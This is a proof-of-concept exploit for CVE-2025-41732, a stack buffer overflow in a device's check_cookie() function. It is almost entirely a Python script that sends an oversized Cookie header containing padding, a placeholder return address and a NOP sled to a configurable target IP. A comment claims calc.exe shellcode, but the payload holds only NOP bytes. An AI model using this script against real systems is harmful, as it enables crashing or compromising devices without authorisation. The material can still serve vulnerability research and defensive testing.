CVE-2025-41732: check_cookie函数不安全sscanf调用导致栈缓冲区溢出

# CVE-2025-41732 PoC - check_cookie() sscanf Buffer Overflow # This PoC demonstrates the buffer overflow via oversized cookie value import socket import struct def create_exploit_payload(): """Create malicious cookie payload to trigger buffer overflow""" # Padding to overflow the buffer padding = b'A' * 256 # Overwrite return address (little-endian) return_addr = struct.pack('<Q', 0x4141414141414141) # Target address # Shellcode placeholder (calc.exe for demonstration) shellcode = b'\x90' * 16 # NOP sled payload = padding + return_addr + shellcode return payload def send_exploit(target_ip, target_port=80): """Send exploit payload to target device""" payload = create_exploit_payload() # HTTP request with malicious cookie request = f"GET / HTTP/1.1\r\n" request += f"Host: {target_ip}\r\n" request += f"Cookie: session={payload.decode('latin-1')}\r\n" request += "\r\n\r\n" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(request.encode('latin-1')) print(f"[+] Exploit payload sent to {target_ip}:{target_port}") print(f"[+] Payload length: {len(payload)} bytes") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Target configuration target_ip = "192.168.1.100" # Change to target IP target_port = 80 print("CVE-2025-41732 PoC - check_cookie() Buffer Overflow") print("=" * 50) send_exploit(target_ip, target_port)